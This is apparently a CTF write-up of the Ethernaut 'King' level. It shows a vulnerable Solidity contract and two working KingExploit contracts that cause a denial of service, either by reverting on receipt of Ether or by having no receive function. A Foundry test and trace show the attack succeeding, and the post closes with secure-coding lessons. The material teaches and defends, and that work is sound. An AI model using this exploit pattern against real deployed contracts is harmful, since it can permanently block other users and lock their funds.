The goal of this level is to break the game defined by the
King
contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract King {
address payable king;
address payable public owner;
uint256 public prize;
constructor() payable {
owner = payable(msg.sender);
king = payable(msg.sender);
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = payable(msg.sender);
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Here is how the game checks if we passed:
address(instance).call{value: 0}("");
return instance._king() != address(this);
It tries to reclaim the kingship, hence “to break the game” means that we must prevent it from restoring the kingship.
Analysis Link to heading
There are 3 state variables in the King
contact:
address payable king;
address payable public owner;
uint256 public prize;
We start with the king
and the owner
set to a deployer of
the King
contract, which is the levelFactory
– contract
responsible for setting up the level and checking the winning
conditions.
constructor() payable {
owner = payable(msg.sender);
king = payable(msg.sender);
prize = msg.value;
}
So this is our initial state:
assertEq(level._king(), address(levelFactory));
assertEq(level.prize(), 0);
Now, let’s have a look at the receive
function:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = payable(msg.sender);
prize = msg.value;
}
To become a new king we need to send the same or more ETH than
the current prize
. Then the contract will transfer
the
current prize to the previous king, set our address as the new
king, and update the prize
state variable with the amount of
ETH we sent.
The problem is an assumption that the king.transfer(msg.value)
call will succeed. Imagine that the transfer
always fails,
then no one can ever become a new king.
Solution Link to heading
We’ll need another contract for exploit. There are 2 ways to implement it so that it breaks the transfer logic.
- Define neither
fallback
norreceive
function. - Implement one of these functions, but immediately revert.
For example, let’s try #2:
contract KingExploit {
address payable level;
constructor(King _king) {
level = payable(address(_king));
}
function run() public payable {
(bool success,) = level.call{value: msg.value}("");
require(success, "failed to send ether");
}
receive() external payable {
revert("muhahaha");
}
}
Now, let’s make it a king:
function exploit() internal override {
vm.startPrank(player);
KingExploit expl = new KingExploit(level);
expl.run{value: 1 wei}();
vm.stopPrank();
}
This is it! The trace:
$ forge test --match-contract KingTest -vvvv
Running 1 test for src/test/King.t.sol:KingTest
[PASS] testKing() (gas: 431179)
Traces:
[431179] KingTest::testKing()
├─ [215833] KingTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [203485] Ethernaut::createLevelInstance(KingFactory: [...])
│ │ ├─ [151922] KingFactory::createInstance(player: [...])
│ │ │ ├─ [119381] → new King@"0x037f…dd8f"
│ │ │ │ └─ ← 364 bytes of code
│ │ │ └─ ← King: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: King: [...])
│ │ └─ ← King: [...]
│ └─ ← King: [...]
├─ [287] King::_king() [staticcall]
│ └─ ← KingFactory: [...]
├─ [317] King::prize() [staticcall]
│ └─ ← 0
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [86666] → new KingExploit@"0xa2f9…f3a7"
│ └─ ← 321 bytes of code
├─ [34652] KingExploit::run{value: 1}()
│ ├─ [27516] King::fallback{value: 1}()
│ │ ├─ [55] KingFactory::fallback{value: 1}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [5470] Ethernaut::submitLevelInstance(King: [...])
│ ├─ [2423] KingFactory::validateInstance(King: [...], player: [...])
│ │ ├─ [838] King::fallback()
│ │ │ ├─ [167] KingExploit::fallback()
│ │ │ │ └─ ← "muhahaha"
│ │ │ └─ ← "muhahaha"
│ │ ├─ [287] King::_king() [staticcall]
│ │ │ └─ ← KingExploit: [...]
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: KingFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; finished in 1.09ms
Let’s try omitting the receive
and fallback
functions:
contract KingExploit {
function run(address _king) public payable {
(bool success, ) = payable(_king).call{value: msg.value}("");
require(success, "failed to send ether");
}
}
Actually, we don’t need to send any Ether because the initial
prize
is 0
:
function exploit() internal override {
vm.startPrank(player);
KingExploit expl = new KingExploit();
(new KingExploit()).run(address(level));
vm.stopPrank();
}
This works too 😜
Lessons learned Link to heading
It is important to handle failed transactions properly. When sending ETH always keep in mind that the transaction might fail because of the following reasons:
- The receiving contract has
receive
orfallback
function that always throws an error/reverts. - Either of the
receive
orfallback
functions consumes too much gas (for no reason). - Absence of the
receive
andfallback
functions means that a contract cannot receive Ether through regular transactions and throws an exception.
Favor pull over push for external calls.
References Link to heading
- External Calls from Ethereum Smart Contract Best Practices
- SWC-113 – DoS with Failed Call.
- Sending Ether (transfer, send, call) from Solidity by Example.
The code and solution for this challenge is here. Let’s move on to #11 Re-entrancy!